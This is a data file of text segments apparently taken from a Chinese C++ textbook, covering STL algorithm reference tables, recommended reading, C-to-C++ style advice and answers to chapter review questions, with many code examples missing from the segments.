    {"text": "如果也省略了hf，则将hasher( )用作哈希函数 X a(n, hf, eq) 创建一个名为a的空容器，它至少包含n个桶，并将hf用作哈希函数，将eq用作键值相等谓词。"},
    {"text": "如果也省略了hf，则将hasher( )用作哈希函数 X(i, j, n, hf, eq) 创建一个至少包含n个桶的空容器，将hf用作哈希函数，将eq用作键值相等谓词，并插入区间[i, j]中的元素。"},
    {"text": "如果省略了n，则包含桶数不确定 X a(i, j, n, hf, eq) 创建一个名为a的的空容器，它至少包含n个桶，将hf用作哈希函数，将eq用作键值相等谓词，并插入区间[i, j]中的元素。"},
    {"text": "如果省略了n，则包含桶数不确定 b.hash_function( ) 返回b使用的哈希函数 b.key_eq( ) 返回创建b时使用的键值相等谓词 b.bucket_count( ) 返回b包含的桶数 b.max_bucket_count ( ) 返回一个上限数，它指定了b最多可包含多少个桶 b.bucket(k) 返回键值为k的元素所属桶的索引 b.bucket_size(n) 返回索引为n的桶可包含的元素数 b.begin(n) 返回一个迭代器，它指向索引为n的桶中的第一个元素 b.end(n) 返回一个迭代器，它指向索引为n的桶中的最后一个元素 b.cbegin(n) 返回一个常量迭代器，它指向索引为n的桶中的第一个元素 b.cend(n) 返回一个常量迭代器，它指向索引为n的桶中的最后一个元素 b.load_factor() 返回每个桶包含的平均元素数 b.max_load_factor() 返回负载系数的最大可能取值； 超过这个值后，容器将增加桶 b.max_load_factor(z) 可能修改最大负载系统，建议将它设置为z a.rehash(n) 将桶数调整为不小于n，并确保a.bucket_count( ) > a.size( ) / a.max_load_factor( ) a.reserve(n) 等价于a.rehash(ceil(n/a.max_load_factor( )))，其中ceil(x)返回不小于x的最小整数 G.5 STL函数 STL算法库（由头文件algorithm和numeric支持）提供了大量基于迭代器的非成员模板函数。"},
    {"text": "C++标准将算法分成4组：非修改式序列操作、修改式序列操作、排序和相关运算符以及数值操作（C++11将数值操作从STL移到了numeric库中，但这不影响它们的用法）。"},
    {"text": "表G.13 非修改式序列操作 函 数 描 述 all_of( ) 如果对于所有元素的谓词测试都为true，则返回true。 这是C++11新增的 any_of( ) 只要对于任何一个元素的谓词测试为true，就返回true。 这是C++11新增的 none_of( ) 如果对于所有元素的谓词测试都为false，则返回true。"},
    {"text": "这是C++11新增的 for_each( ) 将一个非修改式函数对象用于区间中的每个成员 find( ) 在区间中查找某个值首次出现的位置 find_if( ) 在区间中查找第一个满足谓词测试条件的值 find_if_not( ) 在区间中查找第一个不满足谓词测试条件的值。 这是C++11新增的 find_end( ) 在序列中查找最后一个与另一个序列匹配的值。"},
    {"text": "匹配时可以使用等式或二元谓词 find_first_of( ) 在第二个序列中查找第一个与第一个序列的值匹配的元素。 匹配时可以使用等式或二元谓词 adjacent_find 查找第一个与其后面的元素匹配的元素。 匹配时可以使用等式或二元谓词 count( ) 返回特定值在区间中出现的次数 count_if( ) 返回特定值与区间中的值匹配的次数，匹配时使用二元谓词 mismatch( ) 查找区间中第一个与另一个区间中对应元素不匹配的元素，并返回指向这两个元素的迭代器。 匹配时可以使用等式或二元谓词 equal( ) 如果一个区间中的每个元素都与另一个区间中的相应元素匹配，则返回true。 匹配时可以使用等式或二元谓词 is_permutation( ) 如果可通过重新排列第二个区间，使得第一个区间和第二个区间对应的元素都匹配，则返回true，否则返回false。 匹配可以是相等，也可以使用二元谓词进行判断。"},
    {"text": "正如第16章介绍的，谓词是接受一个参数的布尔函数，二元谓词是接受2个参数的布尔函数（函数可以不是bool类型，只要它对于false返回0，对于true返回非0值）。"},
    {"text": "2．any_of( )（C++11） 如果对于区间[first, last]中的每个迭代器，pred(*i)都为false，或者该区间为空，则函数any_of( )返回false；"},
    {"text": "4．for_each( ) for_each( )函数将函数对象f用于[first, last]区间中的每个元素，它也返回f。 5．find( ) find( )函数返回一个迭代器，该迭代器指向区间[first, last]中第一个值为value的元素；"},
    {"text": "7．find_if_not( ) find_if_not( )函数返一个迭代器，该迭代器指向[first, last]区间中第一个对其调用函数对象pred(*i)时结果为false的元素；"},
    {"text": "8．find_end( ) find_end( )函数返回一个迭代器，该迭代器指向[first1, last1] 区间中最后一个与[first2, last2] 区间的内容匹配的序列的第一个元素。"},
    {"text": "9．find_first_of( ) find_first_of( ) 函数返回一个迭代器，该迭代器指向区间[first1, last1]中第一个与[first2, last2]区间中的任何元素匹配的元素。"},
    {"text": "13．mismatch( ) 每个mismatch( )函数都在[first1, last1)区间中查找第一个与从first2开始的区间中相应元素不匹配的元素，并返回两个迭代器，它们指向不匹配的两个元素。"},
    {"text": "15．is_permutation( )（C++11） 如果通过对从first2开始的序列进行排列，可使其与区间[first1, last1]相应的元素匹配，则函数is_permutation( )返回true，否则返回false。"},
    {"text": "表G.14 修改式序列操作 函 数 描 述 copy( ) 将一个区间中的元素复制到迭代器指定的位置 copy_n( ) 从一个迭代器指定的地方复制n个元素到另一个迭代器指定的地方，这是C++11新增的 copy_if( ) 将一个区间中满足谓词测试的元素复制到迭代器指定的地方，这是C++11新增的 copy_backward( ) 将一个区间中的元素复制到迭代器指定的地方。 复制时从区间结尾开始，由后向前进行 move( ) 将一个区间中的元素移到迭代器指定的地方，这是C++11新增的 move_backward( ) 将一个区间中的元素移到迭代器指定的地方；"},
    {"text": "这是C++11新增的 swap( ) 交换引用指定的位置中存储的值 swap_ranges( ) 对两个区间中对应的值进行交换 iter_swap( ) 交换迭代器指定的位置中存储的值 transform( ) 将函数对象用于区间中的每一个元素（或区间对中的每对元素），并将返回的值复制到另一个区间的相应位置 replace( ) 用另外一个值替换区间中某个值的每个实例 replace_if( ) 如果用于原始值的谓词函数对象返回true，则使用另一个值来替换区间中某个值的所有实例 replace_copy( ) 将一个区间复制到另一个区间中，使用另外一个值替换指定值的每个实例 replace_copy_if( ) 将一个区间复制到另一个区间，使用指定值替换谓词函数对象为true的每个值 fill( ) 将区间中的每一个值设置为指定的值 fill_n( ) 将n个连续元素设置为一个值 generate( ) 将区间中的每个值设置为生成器的返回值，生成器是一个不接受任何参数的函数对象 generate_n( ) 将区间中的前n个值设置为生成器的返回值，生成器是一个不接受任何参数的函数对象 remove( ) 删除区间中指定值的所有实例，并返回一个迭代器，该迭代器指向得到的区间的超尾 remove_if( ) 将谓词对象返回true的值从区间中删除，并返回一个迭代器，该迭代器指向得到的区间的超尾 remove_copy( ) 将一个区间中的元素复制到另一个区间中，复制时忽略与指定值相同的元素 remove_copy_if( ) 将一个区间中的元素复制到另一个区间中，复制时忽略谓词函数对象返回true的元素 unique( ) 将区间内两个或多个相同元素组成的序列压缩为一个元素 unique_copy( ) 将一个区间中的元素复制到另一个区间中，并将两个或多个相同元素组成的序列压缩为一个元素 reverse( ) 反转区间中的元素的排列顺序 reverse_copy( ) 按相反的顺序将一个区间中的元素复制到另一个区间中 rotate( ) 将区间中的元素循环排列，并将元素左转 rotate_copy( ) 以旋转顺序将区间中的元素复制到另一个区间中 random_shuffle( ) 随机重新排列区间中的元素 shuffle( ) 随机重新排列区间中的元素，使用的函数对象满足C++11对统一随机生成器的要求 is_partitioned( ) 如果区间根据指定的谓词进行了分区，则返回true partition( ) 将满足谓词函数对象的所有元素都放在不满足谓词函数对象的元素之前 stable_partition( ) 将满足谓词函数对象的所有元素放置在不满足谓词函数对象的元素之前，每组中元素的相对顺序保持不变 partition_copy( ) 将满足谓词函数对象的所有元素都复制到一个输出区间中，并将其他元素都复制到另一个输出区间中，这是C++11新增的 partition_point( ) 对于根据指定谓词进行了分区的区间，返回一个迭代器，该迭代器指向第一个不满足该谓词的元素 下面详细地介绍这些修改型序列操作。"},
    {"text": "正如第16章介绍的，谓词是接受一个参数的布尔函数，二元谓词是接受两个参数的布尔函数（函数可以不是bool类型，只要它对于false返回0，对于true返回非0值）。"},
    {"text": "1．copy( ) copy( )函数将[first, last)区间中的元素复制到区间[result, result + (last – first))中，并返回result + (last – first)，即指向被复制到的最后一个位置后面的迭代器。"},
    {"text": "2．copy_n( )（C++11） 函数copy_n( )从位置first开始复制n个元素到区间[result, result + n] 中，并返回result + n，即指向被复制到的最后一个位置后面的迭代器。"},
    {"text": "3．copy_if( )（C++11） 函数copy_if( )将[first, last)区间中满足谓词pred的元素复制到区间[result, result + (last – first))中，并返回result + (last – first)，即指向被复制到的最后一个位置后面的迭代器。"},
    {"text": "复制从last - 1开始，该元素被复制到位置result - 1，然后由后向前处理，直到first。 该函数返回result - (last - first)，即指向被复制到的最后一个位置后面的迭代器。"},
    {"text": "5．move( )（C++11） 函数move( )使用std::move( )将[first, last)区间中的元素移到区间[result, result + (last – first))中，并返回result + (last – first)，即指向被复制到的最后一个位置后面的迭代器。"},
    {"text": "复制从last - 1开始，该元素被复制到位置result - 1，然后由后向前处理，直到first。 该函数返回result - (last - first)，即指向被复制到的最后一个位置后面的迭代器。"},
    {"text": "7．swap( ) swap( )函数对引用指定的两个位置中存储的值进行交换（C++11将这个函数移到了头文件utility中）。 8．swap_ranges( ) swap_ranges( )函数将[first1, last1]区间中的值与从first2开始的区间中对应的值交换。"},
    {"text": "10．transform( ) 第一个版本的transform( )将一元函数对象op应用到[first, last)区间中每个元素，并将返回值赋给从result开始的区间中对应的元素。"},
    {"text": "第二个版本的transform( )将二元函数对象op应用到[first1, last1)区间和[first2, last2)区间中的每个元素，并将返回值赋给从result开始的区间中对应的元素。"},
    {"text": "11．replace( ) replace( )函数将[first, last]中的所有old_value替换为new_value。 12．replace_if( ) replace_if( )函数使用new_value值替换[first, last]区间中pred（old）为true的每个old值。 13．replace_copy( ) replace_copy( )函数将[first, last]区间中的元素复制到从result开始的区间中，但它使用new_value代替所有的old_value。"},
    {"text": "14．replace_copy_if( ) replace_copy_if( )函数将[first, last]区间中的元素复制到从result开始的区间中，但它使用new_value代替pred(old)为true的所有old值。"},
    {"text": "该函数返回result + (last - first)，即目标区间的超尾值。 15．fill( ) fill( )函数将[first, last]区间中的每个元素都设置为value。 16．fill_n( ) fill_n( )函数将从first位置开始的前n个元素都设置为value。 17．generate( ) generate( )函数将[first, last)区间中的每个元素都设置为gen( )，其中gen是一个生成器函数对象，即不接受任何参数。"},
    {"text": "18．generate_n( ) generate_n( )函数将从first开始的区间中前n个元素都设置为gen( )，其中，gen是一个生成器函数对象，即不接受任何参数。"},
    {"text": "24．unique_copy( ) unique_copy( )函数将[first, last)区间中的元素复制到从result开始的区间中，并将由两个或更多个相同元素组成的序列压缩为一个元素。"},
    {"text": "25．reverse( ) reverse( )函数通过调用swap(first, last - 1)等来反转[first, last]区间中的元素。 26．reverse_copy reverse_copy( )函数按相反的顺序将[first, last)区间中的元素复制到从result开始的区间中。"},
    {"text": "middle处的元素被移到first处，middle + 1处的元素被移到first + 1处，依此类推。 middle前的元素绕回到容器尾部，以便first处的元素可以紧接着last - 1处的元素。"},
    {"text": "32．is_partitioned( )（C++11） 如果区间为空或根据pred进行了分区（即满足谓词pred的元素都在不满足该谓词的元素前面），函数is__partitioned( )将返回true，否则返回false。 33．partition( ) 函数partition( )将其值val使得pred(val)为true的元素都放在不满足该测试条件的所有元素之前。"},
    {"text": "表G.15 排序和相关操作 函 数 描 述 sort( ) 对区间进行排序 stable_sort( ) 对区间进行排序，并保留相同元素的相对顺序 partial_sort( ) 对区间进行部分排序，提供完整排序的前n个元素 partial_sort_copy( ) 将经过部分排序的区间复制到另一个区间中 is_sorted( ) 如果对区间进行了排序，则返回true，这是C++11新增的 is_sorted_until( ) 返回一个迭代器，指向经过排序的区间末尾，这是C++11新增的 nth_element( ) 对于给定指向区间的迭代器，找到区间被排序时，相应位置将存储哪个元素，并将该元素放到这里 lower_bound( ) 对于给定的一个值，在一个排序后的区间中找到第一个这样的位置，使得将这个值插入到这个位置前面时，不会破坏顺序 upper_bound( ) 对于给定的一个值，在一个排序后的区间中找到最后一个这样的位置，使得将这个值插入到这个位置前面时，不会破坏顺序 equal_range( ) 对于给定的一个值，在一个排序后的区间中找到一个最大的区间，使得将这个值插入其中的任何位置，都不会破坏顺序 binary_search( ) 如果排序后的区间中包含了与给定的值相同的值，则返回true，否则返回false merge( ) 将两个排序后的区间合并为第三个区间 inplace_merge( ) 就地合并两个相邻的、排序后的区间 includes( ) 如果对于一个集合中的每个元素都可以在另外一个集合中找到，则返回true set_union( ) 构造两个集合的并集，其中包含在任何一个集合中出现过的元素 set_intersection( ) 构造两个集合的交集，其中包含在两个集合中都出现过的元素 set_difference( ) 构造两个集合的差集，即包含第一个集合中且没有出现在第二个集合中的所有元素 set_symmetric_difference( ) 构造由只出现在其中一个集合中的元素组成的集合 make_heap( ) 将区间转换成堆 push_heap( ) 将一个元素添加到堆中 pop_heap( ) 删除堆中最大的元素 sort_heap( ) 对堆进行排序 is_heap( ) 如果区间是堆，则返回true，这是C++11新增的 is_heap_until( ) 返回一个迭代器，指向属于堆的区间的末尾，这是C++11新增的 min( ) 返回两个值中较小的值，如果参数为initializer_list，则返回最小的元素（这是C++11新增的） max( ) 返回两个值中较大的值，如果参数为initializer_list，则返回最大的元素（这是C++11新增的） minmax( ) 返回一个pair对象，其中包含按递增顺序排列的两个参数；"},
    {"text": "这是C++11新增的 min_element( ) 在区间找到最小值第一次出现的位置 max_element( ) 在区间找到最大值第一次出现的位置 minmax_element( ) 返回一个pair对象，其中包含两个迭代器，它们分别指向区间中最小值第一次出现的位置和区间中最大值最后一次出现的位置。"},
    {"text": "这是C++11新增的 lexicographic_compare( ) 按字母顺序比较两个序列，如果第一个序列小于第二个序列，则返回true，否则返回false next-permutation( ) 生成序列的下一种排列方式 previous_permutation( ) 生成序列的前一种排列方式 本节中的函数使用为元素定义的<运算符或模板类型Compare指定的比较对象来确定两个元素的顺序。"},
    {"text": "如果comp(a, b)为true，且comp(b, c)也为true，则comp(a, c)为true（也就是说，比较是一种可传递的关系）。 如果a与b等价，且b与c也等价，则a与c等价（也就是说，等价也是一种可传递的关系）。"},
    {"text": "正如第16章介绍的，谓词是接受一个参数的布尔函数，二元谓词是接受2个参数的布尔函数（函数可以不是bool类型，只要它对于false返回0，对于true返回非0值）。"},
    {"text": "（3）equal_range( ) equal_range( )函数在排序后的区间[first, last)区间中找到这样一个最大的子区间[it1, it2)，即将value插入到该区间的任何位置都不会破坏顺序。"},
    {"text": "同样，如果使用比较对象comp进行排序，等价意味着comp(a, b)和comp（b，a）都为false（这是“如果a不小于b，b也不小于a，则a与b等价”的统称）。"},
    {"text": "（1）merge( ) merge( )函数将排序后的区间[first1, last1] 中的元素与排序后的区间[first2, last2] 中的元素进行合并，并将结果放到从result开始的区间中。"},
    {"text": "（2）inplace_merge( ) inplace_merge( )函数将两个连续的、排序后的区间—[first, middle] 和[middle, last] —合并为一个经过排序的序列，并将其存储在[first, last] 区间中。"},
    {"text": "例如，假设多集合A包含了字符串“apple”7次，多集合B包含该字符串4次。 则A和B的并集将包含7个“apple”实例，它们的交集将包含4个实例。"},
    {"text": "（5）set_symmetric_difference( ) set_symmetric_difference( )函数构造[first1, last1)区间和[first2, last2)区间的对称（symmetric）差集，并将结果复制到result指定的位置。"},
    {"text": "（2）push_heap( ) push_heap( )函数假设[first, last – 1)区间是一个有效的堆，并将last - 1位置（即被假设为有效堆的区间后面的一个位置）上的值添加到堆中，使[first, last)区间成为一个有效堆。"},
    {"text": "（3）pop_heap( ) pop_heap( )函数假设[first, last)区间是一个有效堆，并将位置last - 1处的值与first处的值进行交换，使[first, last – 1]区间成为一个有效堆。"},
    {"text": "（6）minmax_element( )（C++11） 函数minmax_element( )返回一个pair对象，其中包含两个迭代器，分别指向区间[first, last)中最小和最大的元素。"},
    {"text": "（7）lexicographical_compare( ) 如果[first1, last1]区间中的元素序列按字典顺序小于[first2, last2]区间中的元素序列，则lexicographical_compare( )函数返回true，否则返回false。"},
    {"text": "如果下一个排列存在，则该函数返回true； 如果下一个排列不存在（即区间中包含的是字典顺序的最后一个排列），则该函数返回false，并将区间转换为字典顺序的第一个排列。"},
    {"text": "如果前一个排列存在，则该函数返回true； 如果前一个序列不存在（即区间包含的是字典顺序的第一个排列），则该函数返回false，并将该区间转换为字典顺序的最后一个排列。"},
    {"text": "表G.16 数值运算 函 数 描 述 accumulate( ) 计算区间中的值的总和 inner_product( ) 计算2个区间的内部乘积 partial_sum( ) 将使用一个区间计算得到的小计复制到另一个区间中 adjacent_difference( ) 将使用一个区间的元素计算得到的相邻差集复制到另一个区间中 iota( ) 将使用运算符++生成的一系列相邻的值赋给一个区间中的元素，这是C++11新增的 1．accumulate( ) accumulate( )函数将acc的值初始化为init，然后按顺序对[first, last]区间中的每一个迭代器i执行acc = acc + * i（第一个版本）或acc = binary_op(acc, *i)（第二个版本）。"},
    {"text": "2．inner_product( ) inner_product( )函数将acc的值初始化为init，然后按顺序对[first1, last1]区间中的每一个迭代器i和[first2, first2 + (last1−first1)]区间中对应的迭代器j执行acc = * i * * j（第一个版本）或acc = binary_op(*i, *j)（第二个版本）。"},
    {"text": "也就是说，该函数对每个序列的第一个元素进行计算，得到一个值，然后对每个序列中的第二个元素进行计算，得到另一个值，依此类推，直到到达第一个序列的结尾（因此，第二个序列至少应同第一个序列一样长）。"},
    {"text": "3．partial_sum( ) partial_sum( )函数将*first赋给*result，将*first + *(first + 1)赋给*(result + 1)（第一个版本），或者将binary_op(*first, *(first + 1))赋给*(result + 1)（第二个版本），依此类推。"},
    {"text": "目标区间中随后的位置将被赋值为源区间中相邻位置的差集（或binary_op等价物）。 也就是说，目标区间的下一个位置(result +1)将被赋值为*(first + 1) - * first（第一个版本）或binary_op(*(first + 1), * first)（第二个版本），依此类推。"},
    {"text": "5．iota( )（C++11） 函数iota( )将value赋给*first，再将value递增（就像执行运算++value），并将结果赋给下一个元素，依次类推，直到最后一个元素。"},
    {"text": "附录H 精选读物和网上资源 有很多有关C++和编程的优秀图书和网上资源。下述清单只是其中的一些代表作而不是全部，因此还有很多优秀的图书和网站这里没有列出；然后该清单确实具有广泛的代表性。 H.1 精选读物 Becker, Pete. The C++ Standard Library Extensions. Upper Saddle River, NJ：Addison-Wesley，2007。 本书讨论第一个TR1（Technical Report）库。这是一个可选的C++98库，但C++11包含其大部分元素。涉及的主题包括无序集合模板、智能指针、正则表达式库、随机数库和元组。 Booch, Grady, Robert A. Maksimchuk, Michael W. Engel, and Bobbi J.Young. Object-Oriented Analysis and Design, Third Edition. Upper Saddle River, NJ：Addison-Wesley, 2007。 本书介绍了OOP概念，讨论了OOP方法，并提供一些示例应用程序，示例是使用C++编写的。 Cline, Marshall, Greg Lomow and Mike Girou. C++FAQ，Second Edition （C++常见问题解答，第二版）。Reading，MA：Addison-Wesley，1998。 本书解答了多个经常问到的有关C++语言的问题。 Josuttis, Nicolai M. The C++ Standard Library: A Tutorial and Reference（C++标准库教程和参考手册）。Reading. MA：Addison-Wesley，1999。 本书介绍了标准模板库（STL）以及其他C++库特性，如复数支持、区域和输入/输出流。 Karlsson, Bjürn. Beyond the C++ Standard Library:An Introduction to Boost. Upper Saddle River，NJ：Addison-Wesley，2006。 顾名思义，本书探讨多个Boost库。 Meyers, Scott. Effective C++: 55 Specific Ways to Improve Your Programs and Designs, Third Edition 。Upper Saddle River，NJ：Addison-Wesley，2005。 本书针对的是了解C++的程序员，提供了55条规定和指南。其中一些是技术性的，如解释何时应定义复制构造函数和赋值运算符；其他一些更为通用，如对is-a和has-a关系的讨论。 Meyers, Scott. Effctive STL: 50 Specific Ways to Improve Your Use of the Stadard Template Library 。Reading，MA：Addison-Wesley，2001。 本书提供了选择容器和算法的指南，并讨论了使用STL的其他方面。 Meyers, Scott. More Effecitve C++: 35 New Ways to Improve Your Programs and Designs 。Reading，MA：Addison-Wesley，1996。 本书秉承了《 Effecitve C++ 》的传统，对语言中的一些较模糊的问题进行了解释，介绍了实现各种目标的方法，如设计智能指针，并反映了C++程序员在过去几年中获得的其他一些经验。 Musser, David R, Gillmer J. Derge, and Atul Saini. STL Tutorial and Reference Guide: C++ Programming with the Standard Template Library, Second Edition. Reading，MA：Addison-Wesley，2001。 要介绍并演示STL的功能，需要一整本书，该书可满足您的需求。 Stroustrup, Bjarne. The C++ Programming Language. Third Edition。Reading，MA：Addison-Wesley，1997。 Stroustrup创建了C++，因此这是一部权威作品。不过，如果对C++有一定的了解，将可以很容易地掌握它。它不仅介绍了语言，而且提供了多个如何使用该语言的示例，同时讨论了OOP方法。随着语言的发展，这本书已有多个版本，该版本增加了对标准库元素的讨论，如STL和字符串。 Stroustrup, Bjarne. The Design and Evolution of C++ 。Reading，MA：Addison-Wesley，1994。 如果想了解C++的演进过程及其为何以这种方式演进，请阅读该书。 Vandevoorde, David and Nocoli M. Jpsittos C++Templates: The Complete Guide。Reading，MA：Addison-Wesley，2003。 有关模板的内容很多，该参考手册做了详细介绍。 H.2 网上资源 ISO/ANSI 2011 C++标准（ISO/IEC 14882:2011）。美国国家标准化组织（ANSI）和国际标准化组织（ISO）都提供。 ANSI提供PDF格式的电子版下载（售价381美元），这通过下述网址订购： http://webstore.ansi.org ISO通过下述网址提供该文档的PDF文件下载和光盘，售价都是352瑞士法郎： www.iso.org 价格可能有变。 C++FAQ Lite站点可以回答常见问题（英语、汉语、法语、俄语和葡萄牙语），它是Cline等编著的一本图书的删节版本。当前的网址如下： http://www.parashift.com/C++-faq-lite 在下面的新闻组，可以找到有关C++问题的比较中肯的讨论： group:comp.lang.C++.moderated 使用Google、Bing和其他搜索引擎可找到有关特定C++主题的信息。"},
    {"text": "更重要的是，const方法可以很方便地用于复合类型，如下例所示： 最后，const标识符遵循变量的作用域规则，因此，可以创建作用域为全局、名称空间或数据块的常量。"},
    {"text": "虽然C++借鉴了C语言中的关键字const，但C++版本更有用。 例如，对于外部const值，C++版本有内部链接，而不是变量和C中const所使用的默认外部链接。"},
    {"text": "另外，由于const必须在使用它的文件中定义（在该文件使用的头文件中定义也满足这样的要求），因此可以将const值用作数组长度参数： 这在C语言中是行不通的，因为定义MAX_LENGTH的声明可能位于一个独立的文件中，在编译时，该文件可能不可用。"},
    {"text": "顺便说一句，修订后的C标准（C99）允许将const用作数组长度，但必须将数组作为一种新式数组——变量数组，而这不是C++标准的一部分。"},
    {"text": "另一个好方法——尤其是在有一组相关的整型常量时——是使用enum： I.1.2 使用inline而不是# define来定义小型函数 在创建类似于内联函数的东西时，传统的C语言方式是使用一个#define宏定义： 这将导致预处理器进行文本置换，将X替换为Cube( )的参数： 由于预处理器使用文本置换，而不是真正地传递参数，因此使用这种宏可能导致意外的、错误的结果。"},
    {"text": "另外，C++内联函数可以是常规函数，也可以是类方法： #define宏的一个优点是，它是无类型的，因此将其用于任何类型，运算都是有意义的。"},
    {"text": "解决方法是提供更严格的、结构化程度更高的goto版本，来处理需要使用goto语句的常见任务，诸如for循环、while循环和if else语句等语言元素应运而生。"},
    {"text": "出于简化的目的，本书的示例通常使用编译指令using来使std名称空间中的名称可用： 然而，不管需要与否，都导出名称空间中的所有名称，是与名称空间的初衷背道而驰的。 稍微要好些的方法是，在函数中使用using编译指令，这将使名称在该函数中可用。 更好也是推荐的方法是，使用using声明或作用域解析运算符（::），只使程序需要的名称可用。 例如，下面的代码使cin、cout和end1可用于文件的剩余部分： 但使用作用域解析运算符只能使名称在使用该运算符的表达式中可用： 这样做可能很麻烦，但可以将通用的using声明放在一个头文件中： 还可以将通用的using声明放在一个名称空间中： 这样，程序可以包含该文件，并使用所需的名称空间： I.7 使用智能指针 每个new都应与delete配对使用。"},
    {"text": "不能使用关系运算符来比较C风格字符串，而必须使用strcmp( )（如果忘记了这一点，使用了>运算符，将不会出现语法错误，程序将比较字符串的地址，而不是字符串的内容）。"},
    {"text": "而string类（参见第16章和附录F）使得能够使用对象来表示字符串，并定义了赋值运算符、关系运算符和加法运算符（用于拼接）。 另外，string类还提供了自动内存管理功能，因此通常不用担心字符串被保存前，有人可能会跨越数组边界或将字符串截短。 String类提供了许多方便的方法。 例如，可以将一个string对象追加到另一个对象的后面，也可以将C风格的字符串，甚至char值追加到string对象的后面。"},
    {"text": "4． 或 5．int cheeses; 6．cheeses = 32; 7．cin >> cheeses; 8．cout << \"We have \" << cheeses << \" varieties of cheese\\n\"; 9．调用函数froop( )时，应提供一个参数，该参数的类型为double，而该函数将返回一个int值。"},
    {"text": "例如，可以像下面这样使用它： 函数rattle( )接受一个int参数且没有返回值。 例如，可以这样使用它： 函数prune( )不接受任何参数且返回一个int值。"},
    {"text": "另外，如果系统支持通用的列表初始化，可使用它： 3．C++没有提供自动防止超出整型限制的功能，可以使用头文件climits来确定限制情况。"},
    {"text": "8． 9．下面的代码都可用于完成第一项任务： 要将它们作为double类型相加，再进行转换，可采取下述方式之一： 10． 第4章复习题答案 1． 2． 3．int oddly[5] = {1，3，5，7，9}; 4．int even = oddly[0] + oddly[4]; 5．cout << ideas[1] << \"\\n\"; // or << endl; 6．char lunch[13] = \"cheeseburger\";// number of characters + 1 或者 char lunch[] = \"cheeseburger\"; // let the compiler count elements 7． 如果没有using编译指令，则为： 8． 9． 10． 11． 12． 13．这里假设已经包含了头文件iostream和vector，并有一条using编译指令： 14．是的，它是有效的。"},
    {"text": "3．它将打印下面的内容： 4．它将打印下面的内容： 5．它将打印下面的内容： 6．使用*= 运算符最简单： 7．将语句放在一对大括号中将形成一个复合语句或代码块。"},
    {"text": "3．由于程序使用ch = '$'，而不是ch = ='$'，因此输入和输出将如下： 在第二次打印前，每个字符都被转换为$字符。 另外，表达式ch=$的值为$字符的编码，因此它是非0值，因而为true;所以每次ct2将被加1。"},
    {"text": "8． 9．由于C++将“pizza”解释为其第一个元素的地址，因此使用*运算符将得到第一个元素的值，即字符p。 由于C++将“taco”解释为第一个元素的地址，因此它将“taco”[2]解释为第二个元素的值，即字符c。"},
    {"text": "11． 12．a．注意，如果ap是一个applicant结构，则ap.credit_ratings就是一个数组名，而ap.credit_ratings[i]是一个数组元素： b．注意，如果pa是一个指向applicant结构的指针，则pa->credit_ratings就是一个数组名，而pa->credit_ratings[i]是一个数组元素： 13． 第8章复习题答案 1．只有一行代码的小型、非递归函数适合作为内联函数。"},
    {"text": "b． 5．首先，将原型修改成下面这样： 注意，show( )应使用const，以禁止修改对象。 接下来，在main( )中，将fill( )调用改为下面这样： 函数show( )的调用不需要修改。"},
    {"text": "最后，修改show( )的函数头： 6．a．通过为第二个参数提供默认值： 也可以通过函数重载： b．不能为重复的值使用默认值，因为必须从右到左提供默认值。"},
    {"text": "2．using声明使得名称空间中的单个名称可用，其作用域与using所在的声明区域相同。 using编译指令使名称空间中的所有名称可用。 使用using编译指令时，就像在一个包含using声明和名称空间本身的最小声明区域中声明了这些名称一样。"},
    {"text": "4．如果创建给定类的多个对象，则每个对象都有其自己的数据内存空间;但所有的对象都使用同一组成员函数（通常，方法是公有的，而数据是私有的，但这只是策略方面的问题，而不是对类的要求）。"},
    {"text": "7．有两种可能的解决方案（要使用strncpy( )，必须包含头文件cstring或string.h;要使用string类，必须包含头文件string）： 或者： 请记住，默认参数位于原型中，而不是函数定义中。"},
    {"text": "8．默认构造函数是没有参数或所有参数都有默认值的构造函数。 拥有默认构造函数后，可以声明对象，而不初始化它，即使已经定义了初始化构造函数。"},
    {"text": "如果没有定义复制构造函数，将提供复制构造函数。 如果没有定义赋值运算符，将提供赋值运算符。 如果没有定义析构函数，将提供默认析构函数。 如果没有定义地址运算符，将提供地址运算符。"},
    {"text": "下面是一种可能的解决方法，修改的地方以粗体显示： 下面是另一种解决方案： 5．a． 注意，对于语句5和6，有些编译器还将调用默认的赋值运算符。"},
    {"text": "第13章复习题答案 1．基类的公有成员成为派生类的公有成员。 基类的保护成员成为派生类的保护成员。 基类的私有成员被继承，但不能直接访问。"},
    {"text": "3．如果返回的类型为void，仍可以使用单个赋值，但不能使用连锁赋值： 如果方法返回一个对象，而不是引用，则该方法的执行速度将有所减慢，这是因为返回语句需要复制对象。"},
    {"text": "8．当然，可以将派生类对象的地址赋给基类指针;但只有通过显式类型转换，才可以将基类对象的地址赋给派生类指针（向下转换），而使用这样的指针不一定安全。 9．是的，可以将派生类对象赋给基类对象。"},
    {"text": "11．按值传递对象将调用复制构造函数。 由于形参是基类对象，因此将调用基类的复制构造函数。 复制构造函数以基类引用为参数，该引用可以指向作为参数传递的派生对象。"},
    {"text": "12．按引用（而不是按值）传递对象，这样可以确保函数从虚函数受益。 另外，按引用（而不是按值）传递对象可以节省内存和时间，尤其对于大型对象。 按值传递对象的主要优点在于可以保护原始数据，但可以通过将引用作为const类型传递，来达到同样的目的。"},
    {"text": "13．如果head( )是一个常规方法，则ph->head( )将调用Corporation::head( );如果head( )是一个虚函数，则ph->head( )将调用PublicCorporation::head( )。"},
    {"text": "第14章复习题答案 1． Class Bear class PolarBear 公有，北极熊是一种熊 class Kitchen class Home 私有，家里有厨房 class Person class Programmer 公有，程序员是一种人 class Person class HorseAndJockey 私有，马和驯马师的组合中包含一个人 class Person class Automobile class Driver 人是公有的，因为司机是一个人；"},
    {"text": "汽车是私有的，因为司机有一辆汽车 2． 3． 4． 5． 程序清单14.18生成4个模板：ArrayTP<int, 10>、ArrayTP<double, 10>、ArrayTP<int, 5>和Array<ArrayTP <int, 5>, 10>。"},
    {"text": "第15章复习题答案 1．a．友元声明如下： b．这需要一个前向声明，以便编译器能够解释void snip（muff&）： c．首先，cuff类声明应在muff类之前，以便编译器可以理解cuff::snip( )。 其次，编译器需要muff的一个前向声明，以便可以理解snip(muff &)。"},
    {"text": "6．对于示例#1，如果pg指向一个Superb对象或从Superb派生而来的任何类的对象，则if条件为true。 具体地说，如果pg指向Magnificent对象，则if条件也为true。 对于示例#2，仅当指向Superb对象时，if条件才为true，如果指向的是从Superb派生出来的对象，则if条件不为true。"},
    {"text": "7．Dynamic_cast运算符只允许沿类层次结构向上转换，而static_cast运算符允许向上转换和向下转换。 static_cast运算符还允许枚举类型和整型之间以及数值类型之间的转换。"},
